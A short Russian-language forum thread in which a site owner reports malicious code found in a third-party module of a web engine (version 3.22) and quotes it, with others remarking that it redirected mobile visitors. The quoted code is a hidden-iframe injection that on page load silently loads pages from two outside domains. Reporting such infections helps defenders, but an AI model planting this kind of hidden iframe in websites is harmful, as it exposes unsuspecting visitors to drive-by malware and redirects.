В каком-то из сторонних модулей вредоносный код

вот такая борода на 3.22

function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src  = "http://biuroprofil.pl/js/faq.php";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;
</script>
<iframe src='http://zaczac.leehoan.com/in/' width='0' height='0' style='visibility:hidden;'></iframe>

ссылка по теме
https://debian.pro/296

недавно попался на эту байду..

Толк, тут дело втом что редиректило именно если стелефонов хадить на сайт.

Толк (13.01.2013 / 05:27)
недавно попался на эту байду..

Это глобальный заговор хостеров против пользователей